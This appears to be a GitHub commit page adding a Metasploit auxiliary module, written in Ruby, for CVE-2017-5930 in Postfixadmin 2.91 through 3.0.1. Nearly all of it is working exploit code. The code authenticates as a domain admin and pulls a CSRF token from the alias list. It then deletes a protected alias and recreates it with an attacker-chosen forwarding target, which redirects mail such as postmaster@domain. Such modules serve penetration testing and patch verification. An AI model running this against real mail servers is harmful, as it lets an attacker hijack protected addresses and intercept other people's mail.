Skip to content

Commit 84c951c

Browse files
committed
Land rapid7#8059, Postfixadmin alias modification module
2 parents 70fbcc3 + 7f3df74 commit 84c951c

File tree

1 file changed

+182
-0
lines changed

1 file changed

+182
-0
lines changed
Lines changed: 182 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,182 @@
1+
##
2+
# This module requires Metasploit: https://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
class MetasploitModule < Msf::Auxiliary
7+
include Msf::Exploit::Remote::HttpClient
8+
9+
def initialize(info = {})
10+
super(update_info(
11+
info,
12+
'Name' => 'Postfixadmin Protected Alias Deletion Vulnerability',
13+
'Description' => %q{
14+
Postfixadmin installations between 2.91 and 3.0.1 do not check if an
15+
admin is allowed to delete protected aliases. This vulnerability can be
16+
used to redirect protected aliases to an other mail address. Eg. rewrite
17+
the postmaster@domain alias
18+
},
19+
'Author' => [ 'Jan-Frederik Rieckers' ],
20+
'License' => MSF_LICENSE,
21+
'References' =>
22+
[
23+
['CVE', '2017-5930'],
24+
['URL', 'https://github.com/postfixadmin/postfixadmin/pull/23'],
25+
['BID', '96142'],
26+
],
27+
'Privileged' => true,
28+
'Platform' => ['php'],
29+
'Arch' => ARCH_PHP,
30+
'Targets' => [[ 'Postfixadmin v2.91 - v3.0.1', {}]],
31+
'DisclosureDate' => 'Feb 03 2017',
32+
))
33+
34+
register_options(
35+
[
36+
OptString.new('TARGETURI', [true, 'The base path to the postfixadmin installation', '/']),
37+
OptString.new('USERNAME', [true, 'The Postfixadmin username to authenticate with']),
38+
OptString.new('PASSWORD', [true, 'The Postfixadmin password to authenticate with']),
39+
OptString.new('TARGET_ALIAS', [true, 'The alias which should be rewritten']),
40+
OptString.new('NEW_GOTO', [true, 'The new redirection target of the alias'])
41+
])
42+
end
43+
44+
def username
45+
datastore['USERNAME']
46+
end
47+
48+
def password
49+
datastore['PASSWORD']
50+
end
51+
52+
def target_alias
53+
datastore['TARGET_ALIAS']
54+
end
55+
56+
def new_goto
57+
datastore['NEW_GOTO']
58+
end
59+
60+
def check
61+
res = send_request_cgi({'uri' => postfixadmin_url_login, 'method' => 'GET'})
62+
63+
return Exploit::CheckCode::Unknown unless res
64+
65+
return Exploit::CheckCode::Safe if res.code != 200
66+
67+
if res.body =~ /<div id="footer".*Postfix Admin/m
68+
version = res.body.match(/<div id="footer"[^<]*<a[^<]*Postfix\s*Admin\s*([^<]*)<\//mi)
69+
return Exploit::CheckCode::Detected unless version
70+
if Gem::Version.new("2.91") > Gem::Version.new(version[1])
71+
return Exploit::CheckCode::Detected
72+
elsif Gem::Version.new("3.0.1") < Gem::Version.new(version[1])
73+
return Exploit::CheckCode::Detected
74+
end
75+
return Exploit::CheckCode::Appears
76+
end
77+
78+
return Exploit::CheckCode::Unknown
79+
end
80+
81+
82+
def run
83+
print_status("Authenticating with Postfixadmin using #{username}:#{password} ...")
84+
cookie = postfixadmin_login(username, password)
85+
fail_with(Failure::NoAccess, 'Failed to authenticate with PostfixAdmin') if cookie.nil?
86+
print_good('Authenticated with Postfixadmin')
87+
88+
vprint_status('Requesting virtual_list')
89+
res = send_request_cgi({'uri' => postfixadmin_url_list(target_alias.split("@")[-1]), 'method' => 'GET', 'cookie' => cookie }, 10)
90+
fail_with(Failure::UnexpectedReply, 'The request for the domain list failed') if res.nil?
91+
fail_with(Failure::NoAccess, 'Doesn\'t seem to be admin for the domain the target alias is in') if res.redirect?
92+
body = res.body
93+
vprint_status('Get token')
94+
token = body.match(/token=([0-9a-f]{32})/)
95+
fail_with(Failure::UnexpectedReply, 'Could not get any CSRF-token. You should have at least one other alias or mailbox to get a token') unless token
96+
97+
t = token[1]
98+
99+
print_status('Delete the old alias')
100+
res = send_request_cgi({'uri' => postfixadmin_url_alias_delete(target_alias, t), 'method' => 'GET', 'cookie' => cookie }, 10)
101+
102+
fail_with(Failure::UnexpectedReply, 'Didn\'t get redirected.') unless res && res.redirect?
103+
104+
res = send_request_cgi({'uri' => postfixadmin_url_list, 'method' => 'GET', 'cookie' => cookie }, 10)
105+
106+
if res.nil? || res.body.nil? || res.body !~ /<ul class="flash-info">.*<li.*#{target_alias}.*<\/li>.*<\/ul>/mi
107+
if res.nil? || res.body.nil?
108+
fail_with(Failure::UnexpectedReply, 'Unexpected reply while deleting the alias')
109+
else
110+
if res.body =~ /<ul class="flash-error">.*<li.*#{target_alias}.*<\/li>.*<\/ul>/mi
111+
fail_with(Failure::NotVulnerable, 'It seems the target is not vulerable, the deletion of the target alias failed.')
112+
else
113+
fail_with(Failure::Unknown, 'An unexpected failure occured.')
114+
end
115+
end
116+
end
117+
print_good('Deleted the old alias')
118+
119+
vprint_status('Will create the new alias')
120+
post_vars = {'submit' => 'Add alias', 'table' => 'alias', 'value[active]' => 1, 'value[domain]' => target_alias.split("@")[-1], 'value[localpart]' => target_alias.split("@")[0..-2].join("@"), 'value[goto]' => new_goto}
121+
122+
res = send_request_cgi({'uri' => postfixadmin_url_edit, 'method' => 'POST', 'cookie' => cookie, 'vars_post' => post_vars }, 10)
123+
124+
fail_with(Failure::UnexpectedReply, 'Didn\'t get redirected.') unless res && res.redirect?
125+
126+
res = send_request_cgi({'uri' => postfixadmin_url_list, 'method' => 'GET', 'cookie' => cookie }, 10)
127+
128+
if res.nil? || res.body.nil? || res.body !~ /<ul class="flash-info">.*<li.*#{target_alias}.*<\/li>.*<\/ul>/mi
129+
if res.nil? || res.body.nil?
130+
fail_with(Failure::UnexpectedReply, 'Unexpected reply while adding new alias')
131+
else
132+
if res.body =~ /<ul class="flash-error">/mi
133+
fail_with(Failure::UnexpectedReply, 'It seems the new alias couldn\'t be added.')
134+
else
135+
fail_with(Failure::Unknown, 'An unexpected failure occured.')
136+
end
137+
end
138+
end
139+
print_good('New alias created')
140+
141+
end
142+
143+
144+
# Performs a Postfixadmin login
145+
#
146+
# @param user [String] Username
147+
# @param pass [String] Password
148+
# @param timeout [Integer] Max seconds to wait before timeout, defaults to 20
149+
#
150+
# @return [String, nil] The session cookie as single string if login was successful, nil otherwise
151+
def postfixadmin_login(user, pass, timeout = 20)
152+
res = send_request_cgi({
153+
'method' => 'POST',
154+
'uri' => postfixadmin_url_login,
155+
'vars_post' => {'fUsername' => user.to_s, 'fPassword' => pass.to_s, 'lang' => 'en', 'Submit' => 'Login'}
156+
}, timeout)
157+
if res && res.redirect?
158+
cookies = res.get_cookies
159+
return cookies if
160+
cookies =~ /PHPSESSID=/
161+
end
162+
163+
nil
164+
end
165+
166+
def postfixadmin_url_login
167+
normalize_uri(target_uri.path, 'login.php')
168+
end
169+
170+
def postfixadmin_url_list(domain=nil)
171+
modifier = domain.nil? ? "" : "?domain=#{domain}"
172+
normalize_uri(target_uri.path, 'list-virtual.php' + modifier)
173+
end
174+
175+
def postfixadmin_url_alias_delete(target, token)
176+
normalize_uri(target_uri.path, 'delete.php' + "?table=alias&delete=#{CGI.escape(target)}&token=#{token}")
177+
end
178+
179+
def postfixadmin_url_edit
180+
normalize_uri(target_uri.path, 'edit.php')
181+
end
182+
end

0 commit comments

Comments
 (0)